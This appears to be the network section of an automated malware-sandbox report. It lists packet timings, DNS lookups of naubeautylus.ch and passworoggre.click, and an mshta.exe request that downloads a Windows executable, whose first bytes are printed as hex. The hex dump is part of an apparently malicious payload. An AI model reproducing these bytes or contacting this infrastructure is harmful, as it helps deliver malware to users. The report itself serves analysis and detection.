Dec 16, 2024 09:14:24.036098957 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.036147118 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.036154985 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.036185026 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.036196947 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.071897030 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.071919918 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.071952105 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.071974993 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.071990013 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.072012901 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.077073097 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.077104092 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.077147961 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.077155113 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.077183008 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.077192068 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.142357111 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.142378092 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.142508984 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.142509937 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.142534018 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.142744064 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.206341982 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.206372976 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.206402063 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.206417084 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.206439972 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.206450939 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.212030888 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.212052107 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.212090969 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.212102890 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.212115049 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.212141991 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.217025042 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.217045069 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.217083931 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.217092991 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.217118979 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.217147112 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.222737074 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.222757101 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.222791910 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.222801924 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.222811937 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.222841024 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.228068113 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.228089094 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.228121042 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.228127956 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.228158951 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.228178024 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.263900995 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.263923883 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.263957024 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.263964891 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.263988972 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.263998985 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.269274950 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.269296885 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.269328117 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.269334078 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.269364119 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.269381046 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.334677935 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.334700108 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.334729910 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.334738016 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.334765911 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.334780931 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.398750067 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.398776054 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.398814917 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.398823023 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.398849010 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.398858070 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.404407978 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.404427052 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.404459953 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.404467106 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.404491901 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.404504061 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.409665108 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.409732103 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.409744978 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.409765959 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.409779072 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.409810066 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.415188074 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.415209055 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.415250063 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.415256977 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.415268898 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.415293932 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.420522928 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.420542002 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.420581102 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.420588017 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.420615911 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.420634031 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.456325054 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.456373930 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.456387043 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.456396103 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.456419945 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.456439972 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.461611986 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.461653948 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.461675882 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.461682081 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.461713076 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.461730957 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.526730061 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.526758909 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.526788950 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.526794910 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.526825905 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.526845932 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.591104984 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.591150999 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.591176033 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.591181993 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.591212988 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.591224909 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.596657038 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.596700907 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.596721888 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.596729994 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.596760035 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.596767902 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.601699114 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.601742983 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.601774931 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.601780891 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.601803064 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.601818085 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.607527018 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.607569933 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.607590914 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.607598066 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.607620955 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.607641935 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.612696886 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.612719059 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.612752914 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.612760067 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.612792969 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.612817049 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.648468971 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.648525000 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.648529053 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.648552895 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.648575068 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.648586035 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.653814077 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.653856993 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.653883934 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.653892040 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.653918982 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.653950930 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.720104933 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.720127106 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.720169067 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.720179081 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.720204115 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.720227957 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.783453941 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.783499002 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.783524990 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.783531904 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.783564091 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.783581972 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.784411907 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.784471035 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.784476995 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.784554005 CET	443	49736	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:24.784603119 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:24.785032034 CET	49736	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:15:25.418895006 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:25.418983936 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:25.421943903 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:25.425703049 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:25.425787926 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:26.646226883 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:26.646413088 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:26.647877932 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:26.647933960 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:26.648407936 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:26.690584898 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:26.696150064 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:26.696150064 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:26.696564913 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:27.711503983 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:27.711802006 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:27.712006092 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:27.713849068 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:27.713948965 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:27.714008093 CET	49815	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:27.714026928 CET	443	49815	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:27.774691105 CET	49820	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:27.774789095 CET	443	49820	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:27.774964094 CET	49820	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:27.775219917 CET	49820	443	192.168.2.4	104.21.59.81
Dec 16, 2024 09:15:27.775259972 CET	443	49820	104.21.59.81	192.168.2.4
Dec 16, 2024 09:15:29.050364971 CET	49820	443	192.168.2.4	104.21.59.81

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 09:14:09.518446922 CET	54799	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:14:10.398065090 CET	53	54799	1.1.1.1	192.168.2.4
Dec 16, 2024 09:14:32.009738922 CET	62618	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:14:47.361742973 CET	50029	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:15:25.085546017 CET	58179	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:15:25.407677889 CET	53	58179	1.1.1.1	192.168.2.4
Dec 16, 2024 09:15:47.691102028 CET	62582	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:15:47.828866005 CET	53	62582	1.1.1.1	192.168.2.4
Dec 16, 2024 09:16:11.784785986 CET	62247	53	192.168.2.4	1.1.1.1
Dec 16, 2024 09:16:11.960937977 CET	53	62247	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 09:14:09.518446922 CET	192.168.2.4	1.1.1.1	0x32a1	Standard query (0)	naubeautylus.ch	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:14:32.009738922 CET	192.168.2.4	1.1.1.1	0x3d07	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:14:47.361742973 CET	192.168.2.4	1.1.1.1	0x6252	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:15:25.085546017 CET	192.168.2.4	1.1.1.1	0xef62	Standard query (0)	passworoggre.click	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:15:47.691102028 CET	192.168.2.4	1.1.1.1	0xae48	Standard query (0)	passworoggre.click	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:16:11.784785986 CET	192.168.2.4	1.1.1.1	0xc634	Standard query (0)	passworoggre.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 09:14:10.398065090 CET	1.1.1.1	192.168.2.4	0x32a1	No error (0)	naubeautylus.ch		62.182.21.105	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:14:32.225039959 CET	1.1.1.1	192.168.2.4	0x3d07	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 09:14:47.500118017 CET	1.1.1.1	192.168.2.4	0x6252	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 09:15:25.407677889 CET	1.1.1.1	192.168.2.4	0xef62	No error (0)	passworoggre.click		104.21.59.81	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:15:25.407677889 CET	1.1.1.1	192.168.2.4	0xef62	No error (0)	passworoggre.click		172.67.219.27	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:15:47.828866005 CET	1.1.1.1	192.168.2.4	0xae48	No error (0)	passworoggre.click		172.67.219.27	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:15:47.828866005 CET	1.1.1.1	192.168.2.4	0xae48	No error (0)	passworoggre.click		104.21.59.81	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:16:11.960937977 CET	1.1.1.1	192.168.2.4	0xc634	No error (0)	passworoggre.click		104.21.59.81	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:16:11.960937977 CET	1.1.1.1	192.168.2.4	0xc634	No error (0)	passworoggre.click		172.67.219.27	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

naubeautylus.ch

passworoggre.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	62.182.21.105	443	6960	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:14:11 UTC	333	OUT	GET /Headerfrontend HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: naubeautylus.ch Connection: Keep-Alive
2024-12-16 08:14:12 UTC	364	IN	HTTP/1.1 200 OK Connection: close last-modified: Sun, 15 Dec 2024 12:39:53 GMT accept-ranges: bytes content-length: 462414 date: Mon, 16 Dec 2024 08:14:12 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-16 08:14:12 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a0 52 e6 d8 e4 33 88 8b e4 33 88 8b e4 33 88 8b 00 43 8b 8a e7 33 88 8b 00 43 8c 8a fc 33 88 8b 00 43 8d 8a e3 33 88 8b 00 43 89 8a f9 33 88 8b e4 33 89 8b cd 32 88 8b 00 43 80 8a f0 33 88 8b 00 43 77 8b e5 33 88 8b 00 43 8a 8a e5 33 88 8b 52 69 63 68 e4 33 88 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 fd b9 f0 9e 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$R333C3C3C3C332C3Cw3C3Rich3PEL
2024-12-16 08:14:12 UTC	16384	IN	Data Raw: cc cc cc 8b ff 55 8b ec 51 8b 45 08 53 56 8b f1 57 89 86 a4 00 00 00 8b 45 0c 89 86 a8 00 00 00 ff 15 94 21 41 00 ff 75 18 8b 86 a4 00 00 00 33 db 53 53 53 ff 70 04 8b ce ff 15 a4 21 41 00 8b f8 85 ff 0f 88 ce 00 00 00 6a 01 8b ce ff 15 94 20 41 00 8b f8 85 ff 0f 88 ba 00 00 00 6a 01 8b ce ff 15 98 20 41 00 8b f8 85 ff 0f 88 a6 00 00 00 8b 8e a4 00 00 00 56 ff 15 48 21 41 00 6a 01 8b ce ff 15 24 21 41 00 8d 45 fc 50 ff 15 bc 20 41 00 8b f8 85 ff 78 7f ff 75 fc 8b ce ff 15 9c 20 41 00 8b f8 85 ff 79 0b 8b 4d fc ff 15 c0 20 41 00 eb 63 6a 10 bf 05 40 00 80 e8 c3 9c 00 00 8b d0 59 85 d2 74 14 8b 8e a4 00 00 00 8b 49 04 89 5a 04 89 5a 08 89 4a 0c eb 02 8b d3 89 96 ac 00 00 00 85 d2 74 30 53 8d 45 fc 8b ca 50 0f b7 45 10 53 56 68 90 16 40 00 50 ff b6 a8 00 00 Data Ascii: UQESVWE!Au3SSSp!Aj Aj AVH!Aj$!AEP Axu AyM Acj@YtIZZJt0SEPESVh@P
2024-12-16 08:14:12 UTC	16384	IN	Data Raw: 10 6a 2d 59 e8 3e de ff ff ff b5 dc fd ff ff ff 15 6c 22 41 00 83 f8 ff 74 37 6a 0e 68 e8 21 40 00 8b cb e8 72 04 00 00 ff b5 dc fd ff ff ff 15 68 22 41 00 a1 38 10 41 00 3b c7 74 14 f6 40 1c 10 74 0e ff 70 14 ff 70 10 6a 2e 59 e8 f6 dd ff ff 8b 8d dc fd ff ff 33 ff 8d 49 f0 e8 6a b4 ff ff 8b 8d d8 fd ff ff 8d 49 f0 e8 5c b4 ff ff 8b 8d d4 fd ff ff 8d 49 f0 e8 4e b4 ff ff 83 bd c4 fd ff ff 00 74 0c ff b5 c4 fd ff ff ff 15 64 20 41 00 8d 4e f0 e8 31 b4 ff ff 8d 8d ac fd ff ff e8 b7 05 00 00 8b c7 e8 06 6b 00 00 c2 0c 00 cc cc cc cc cc cc 6a 00 b8 ac fd 40 00 e8 1b 6b 00 00 8b 45 08 85 c0 74 38 8b 00 ba 08 22 40 00 66 8b 30 33 c9 41 66 3b 32 75 1e 66 85 f6 74 15 66 8b 70 02 66 3b 72 02 75 0f 83 c0 04 83 c2 04 66 85 f6 75 db 33 c0 eb 04 1b c0 0b c1 85 c0 74 Data Ascii: j-Y>l"At7jh!@rh"A8A;t@tppj.Y3IjI\INtd AN1kj@kEt8"@f03Af;2uftfpf;rufu3t
2024-12-16 08:14:12 UTC	16384	IN	Data Raw: dd 85 c0 fe ff ff dc 4d b0 de c1 d9 18 d9 85 1c ff ff ff d9 58 04 d9 85 18 ff ff ff d9 58 08 d9 85 14 ff ff ff d9 58 0c d9 85 10 ff ff ff d9 58 10 d9 85 0c ff ff ff d9 58 14 d9 85 08 ff ff ff d9 58 18 d9 85 e0 fe ff ff d9 58 1c d9 85 04 ff ff ff d9 58 20 d9 85 00 ff ff ff d9 58 24 d9 85 fc fe ff ff d9 58 28 d9 85 f8 fe ff ff d9 58 2c d9 85 f4 fe ff ff d9 58 30 d9 85 f0 fe ff ff d9 58 34 d9 85 ec fe ff ff d9 58 38 d9 85 e4 fe ff ff d9 58 3c d9 85 e8 fe ff ff d9 58 40 d9 85 d0 fe ff ff d9 58 44 d9 85 d4 fe ff ff d9 58 48 d9 85 d8 fe ff ff d9 58 4c d9 85 dc fe ff ff d9 58 50 d9 45 f4 d9 58 54 d9 45 ec d9 58 58 d9 45 e4 d9 58 5c d9 45 fc d9 58 60 c9 c2 04 00 cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 60 d9 42 04 d8 05 44 16 41 00 8b 45 08 d9 5d fc d9 42 08 d8 05 Data Ascii: MXXXXXXXX X$X(X,X0X4X8X<X@XDXHXLXPEXTEXXEX\EX`U`BDAE]B
2024-12-16 08:14:12 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 40 1c 41 00 40 16 40 00 48 16 40 00 38 10 41 00 00 00 00 00 84 28 40 00 32 00 00 00 33 00 00 00 02 00 00 00 18 00 00 00 00 00 00 00 9c 28 40 00 42 00 00 00 43 00 00 00 02 00 00 00 0c 00 00 00 00 00 00 00 b8 28 40 00 36 00 00 00 37 00 00 00 02 00 00 00 1c 00 00 00 00 00 00 00 cc 28 40 00 40 00 00 00 41 00 00 00 02 00 00 00 30 00 00 00 00 00 00 00 e4 28 40 00 3a 00 00 00 3b 00 00 00 02 00 00 00 08 00 00 00 00 00 00 00 fc 28 40 00 34 00 00 00 35 00 00 00 02 00 00 00 08 00 00 00 00 00 00 00 14 29 40 00 10 20 00 00 11 20 00 00 01 00 00 00 00 00 00 00 00 00 00 00 38 29 40 00 0e 20 00 00 0f 20 00 00 01 00 00 00 00 00 00 00 00 00 00 Data Ascii: @A@@H@8A(@23(@BC(@67(@@A0(@:;(@45)@ 8)@
